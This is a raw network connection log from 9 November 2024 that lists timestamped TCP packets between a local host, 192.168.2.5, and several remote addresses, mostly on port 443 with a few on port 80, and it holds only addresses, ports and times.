Nov 9, 2024 22:09:29.192512989 CET	49725	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.192513943 CET	443	49726	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.192540884 CET	443	49725	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.192610025 CET	49726	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.192681074 CET	49725	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.192714930 CET	49726	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.192727089 CET	443	49726	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.192981005 CET	49725	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.192996979 CET	443	49725	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.469253063 CET	49715	443	192.168.2.5	52.149.20.212
Nov 9, 2024 22:09:29.515332937 CET	443	49715	52.149.20.212	192.168.2.5
Nov 9, 2024 22:09:29.763612032 CET	443	49715	52.149.20.212	192.168.2.5
Nov 9, 2024 22:09:29.763637066 CET	443	49715	52.149.20.212	192.168.2.5
Nov 9, 2024 22:09:29.763643980 CET	443	49715	52.149.20.212	192.168.2.5
Nov 9, 2024 22:09:29.763658047 CET	443	49715	52.149.20.212	192.168.2.5
Nov 9, 2024 22:09:29.763665915 CET	443	49715	52.149.20.212	192.168.2.5
Nov 9, 2024 22:09:29.763674021 CET	443	49715	52.149.20.212	192.168.2.5
Nov 9, 2024 22:09:29.763792992 CET	49715	443	192.168.2.5	52.149.20.212
Nov 9, 2024 22:09:29.763827085 CET	443	49715	52.149.20.212	192.168.2.5
Nov 9, 2024 22:09:29.763885975 CET	49715	443	192.168.2.5	52.149.20.212
Nov 9, 2024 22:09:29.764246941 CET	443	49715	52.149.20.212	192.168.2.5
Nov 9, 2024 22:09:29.764311075 CET	49715	443	192.168.2.5	52.149.20.212
Nov 9, 2024 22:09:29.764318943 CET	443	49715	52.149.20.212	192.168.2.5
Nov 9, 2024 22:09:29.764333963 CET	443	49715	52.149.20.212	192.168.2.5
Nov 9, 2024 22:09:29.764374971 CET	49715	443	192.168.2.5	52.149.20.212
Nov 9, 2024 22:09:29.919166088 CET	443	49722	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.919727087 CET	49722	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.919758081 CET	443	49722	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.920176983 CET	49722	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.920182943 CET	443	49722	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.921480894 CET	443	49724	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.921758890 CET	49724	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.921786070 CET	443	49724	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.922111034 CET	49724	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.922116041 CET	443	49724	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.923686028 CET	443	49725	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.923932076 CET	49725	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.923945904 CET	443	49725	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.924264908 CET	49725	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.924269915 CET	443	49725	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.934619904 CET	443	49726	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.935209990 CET	49726	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.935237885 CET	443	49726	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.935621977 CET	49726	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.935628891 CET	443	49726	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.048221111 CET	443	49722	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.048239946 CET	443	49722	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.048280954 CET	49722	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.048307896 CET	443	49722	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.048356056 CET	49722	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.048393011 CET	443	49722	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.048435926 CET	443	49722	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.048599005 CET	49722	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.048623085 CET	443	49722	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.048635006 CET	49722	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.048635006 CET	49722	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.048644066 CET	443	49722	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.048652887 CET	443	49722	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.051593065 CET	49729	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.051626921 CET	443	49729	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.051697969 CET	49729	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.051870108 CET	49729	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.051888943 CET	443	49729	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.053549051 CET	443	49724	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.053581953 CET	443	49724	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.053636074 CET	49724	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.053636074 CET	443	49724	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.053699970 CET	49724	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.053741932 CET	49724	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.053751945 CET	443	49724	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.053765059 CET	49724	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.053769112 CET	443	49724	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.053952932 CET	443	49725	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.054307938 CET	443	49725	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.054364920 CET	49725	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.055002928 CET	49725	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.055002928 CET	49725	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.055020094 CET	443	49725	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.055030107 CET	443	49725	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.057301998 CET	49730	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.057336092 CET	443	49730	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.057404041 CET	49730	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.057527065 CET	49730	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.057537079 CET	443	49730	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.058749914 CET	49731	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.058760881 CET	443	49731	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.058917046 CET	49731	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.059075117 CET	49731	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.059086084 CET	443	49731	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.065999985 CET	443	49726	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.066019058 CET	443	49726	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.066080093 CET	49726	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.066090107 CET	443	49726	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.066112041 CET	443	49726	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.066148043 CET	49726	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.067148924 CET	49726	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.067153931 CET	443	49726	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.071585894 CET	49732	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.071614981 CET	443	49732	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.071687937 CET	49732	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.071918964 CET	49732	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.071930885 CET	443	49732	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.351253986 CET	443	49723	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.352013111 CET	49723	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.352034092 CET	443	49723	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.352513075 CET	49723	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.352519035 CET	443	49723	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.410268068 CET	49715	443	192.168.2.5	52.149.20.212
Nov 9, 2024 22:09:30.410284042 CET	443	49715	52.149.20.212	192.168.2.5
Nov 9, 2024 22:09:30.410307884 CET	49715	443	192.168.2.5	52.149.20.212
Nov 9, 2024 22:09:30.410315037 CET	443	49715	52.149.20.212	192.168.2.5
Nov 9, 2024 22:09:30.491225958 CET	443	49723	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.491401911 CET	443	49723	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.491451025 CET	49723	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.491821051 CET	49723	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.491837978 CET	443	49723	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.491847992 CET	49723	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.491853952 CET	443	49723	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.495230913 CET	49733	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.495254993 CET	443	49733	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.495351076 CET	49733	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.495554924 CET	49733	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.495574951 CET	443	49733	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.783124924 CET	443	49730	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.784342051 CET	49730	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.784365892 CET	443	49730	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.786115885 CET	49730	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.786129951 CET	443	49730	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.790163040 CET	443	49729	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.798062086 CET	49729	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.798078060 CET	443	49729	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.798522949 CET	49729	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.798528910 CET	443	49729	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.805823088 CET	443	49732	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.806216955 CET	49732	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.806233883 CET	443	49732	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.806566000 CET	49732	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.806571960 CET	443	49732	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.829917908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:30.830159903 CET	49737	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:30.834842920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:30.834965944 CET	80	49737	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:30.835036993 CET	49737	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:30.835161924 CET	49737	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:30.840249062 CET	80	49737	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:30.880398989 CET	443	49731	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.880773067 CET	49731	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.880786896 CET	443	49731	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.881398916 CET	49731	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.881408930 CET	443	49731	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.895632982 CET	49738	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:30.895656109 CET	443	49738	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:30.895723104 CET	49738	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:30.896038055 CET	49738	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:30.896053076 CET	443	49738	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:30.912988901 CET	443	49730	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.913058043 CET	443	49730	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.913245916 CET	49730	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.913290977 CET	49730	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.913290977 CET	49730	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.913319111 CET	443	49730	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.913327932 CET	443	49730	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.915796041 CET	49739	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.915827036 CET	443	49739	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.915898085 CET	49739	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.916032076 CET	49739	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.916048050 CET	443	49739	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.940835953 CET	443	49732	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.940887928 CET	443	49732	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.940977097 CET	49732	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.941644907 CET	49732	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.941663980 CET	443	49732	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.941677094 CET	49732	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.941684008 CET	443	49732	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.941745996 CET	443	49729	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.942122936 CET	443	49729	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.942176104 CET	49729	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.942545891 CET	49729	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.942559958 CET	443	49729	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.942572117 CET	49729	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.942578077 CET	443	49729	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.944829941 CET	49740	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.944848061 CET	443	49740	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.944916964 CET	49740	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.945029020 CET	49740	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.945044994 CET	443	49740	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.945132017 CET	49741	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.945143938 CET	443	49741	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:30.945307970 CET	49741	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.945501089 CET	49741	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:30.945513010 CET	443	49741	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.021992922 CET	443	49731	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.022058010 CET	443	49731	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.022115946 CET	49731	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.022284985 CET	49731	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.022299051 CET	443	49731	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.022320032 CET	49731	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.022325993 CET	443	49731	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.025196075 CET	49742	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.025213957 CET	443	49742	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.025270939 CET	49742	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.025568008 CET	49742	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.025580883 CET	443	49742	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.301219940 CET	443	49733	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.307737112 CET	49733	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.307759047 CET	443	49733	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.308356047 CET	49733	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.308361053 CET	443	49733	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.336342096 CET	49743	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:31.336364985 CET	443	49743	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:31.336493015 CET	49743	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:31.337856054 CET	49743	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:31.337869883 CET	443	49743	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:31.461253881 CET	443	49733	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.461334944 CET	443	49733	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.461412907 CET	49733	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.461647034 CET	49733	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.461661100 CET	443	49733	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.461672068 CET	49733	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.461677074 CET	443	49733	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.465959072 CET	49745	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.466005087 CET	443	49745	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.466109037 CET	49745	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.489895105 CET	49745	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.489928007 CET	443	49745	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.500528097 CET	49746	443	192.168.2.5	216.58.212.174
Nov 9, 2024 22:09:31.500549078 CET	443	49746	216.58.212.174	192.168.2.5
Nov 9, 2024 22:09:31.500612974 CET	49746	443	192.168.2.5	216.58.212.174
Nov 9, 2024 22:09:31.501141071 CET	49746	443	192.168.2.5	216.58.212.174
Nov 9, 2024 22:09:31.501152039 CET	443	49746	216.58.212.174	192.168.2.5
Nov 9, 2024 22:09:31.653274059 CET	443	49739	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.653739929 CET	49739	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.653755903 CET	443	49739	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.655896902 CET	49739	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.655904055 CET	443	49739	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.676060915 CET	443	49741	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.676482916 CET	49741	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.676500082 CET	443	49741	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.676898003 CET	49741	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.676904917 CET	443	49741	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.681668043 CET	443	49740	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.681992054 CET	49740	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.682008982 CET	443	49740	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.682492018 CET	49740	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.682502031 CET	443	49740	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.774358034 CET	443	49738	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:31.774693966 CET	49738	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:31.774712086 CET	443	49738	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:31.775078058 CET	443	49738	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:31.775379896 CET	49738	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:31.775446892 CET	443	49738	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:31.784533978 CET	443	49739	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.784651041 CET	443	49739	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.785022020 CET	49739	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.785056114 CET	49739	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.785068989 CET	443	49739	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.785082102 CET	49739	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.785088062 CET	443	49739	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.787792921 CET	49749	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.787820101 CET	443	49749	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.787890911 CET	49749	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.788027048 CET	49749	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.788042068 CET	443	49749	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.809643030 CET	443	49741	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.809700966 CET	443	49741	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.809772015 CET	49741	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.809919119 CET	49741	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.809932947 CET	443	49741	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.809945107 CET	49741	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.809950113 CET	443	49741	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.812086105 CET	49750	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.812105894 CET	443	49750	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.812179089 CET	49750	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.812305927 CET	49750	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.812319994 CET	443	49750	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.813637972 CET	443	49740	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.813704014 CET	443	49740	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.815928936 CET	49740	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.815965891 CET	49740	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.815983057 CET	443	49740	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.815999985 CET	49740	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.816004038 CET	443	49740	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.816049099 CET	49738	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:31.818700075 CET	49751	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.818716049 CET	443	49751	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:31.818799973 CET	49751	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.818907976 CET	49751	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:31.818922043 CET	443	49751	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.133333921 CET	443	49742	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.133754969 CET	49742	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.133784056 CET	443	49742	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.135296106 CET	49742	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.135303020 CET	443	49742	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.205821991 CET	443	49743	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:32.205899000 CET	49743	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:32.218741894 CET	49743	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:32.218765974 CET	443	49743	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:32.219043016 CET	443	49743	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:32.227794886 CET	443	49745	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.228231907 CET	49745	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.228262901 CET	443	49745	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.228705883 CET	49745	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.228713036 CET	443	49745	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.244785070 CET	80	49737	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:32.244842052 CET	49737	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:32.266119957 CET	443	49742	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.266700029 CET	443	49742	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.266787052 CET	49742	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.269104958 CET	49743	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:32.327066898 CET	49742	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.327085018 CET	443	49742	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.343616009 CET	443	49746	216.58.212.174	192.168.2.5
Nov 9, 2024 22:09:32.356148005 CET	49743	443	192.168.2.5	2.19.244.127
Nov 9, 2024 22:09:32.358026981 CET	443	49745	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.358198881 CET	443	49745	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.358367920 CET	49745	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.366075993 CET	49745	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.366090059 CET	443	49745	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.366101027 CET	49745	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.366106987 CET	443	49745	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.369635105 CET	49752	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.369682074 CET	443	49752	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.369823933 CET	49752	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.373990059 CET	49752	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.374013901 CET	443	49752	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.394094944 CET	49746	443	192.168.2.5	216.58.212.174
Nov 9, 2024 22:09:32.396687031 CET	49753	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.396720886 CET	443	49753	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.396975994 CET	49753	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.400094986 CET	49753	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.400108099 CET	443	49753	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.403338909 CET	443	49743	2.19.244.127	192.168.2.5
Nov 9, 2024 22:09:32.438206911 CET	49737	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:32.443039894 CET	80	49737	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:32.524941921 CET	443	49749	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.532058001 CET	49749	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.532074928 CET	443	49749	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.532605886 CET	49749	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:32.532612085 CET	443	49749	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:32.558795929 CET	49738	443	192.168.2.5	142.250.184.228
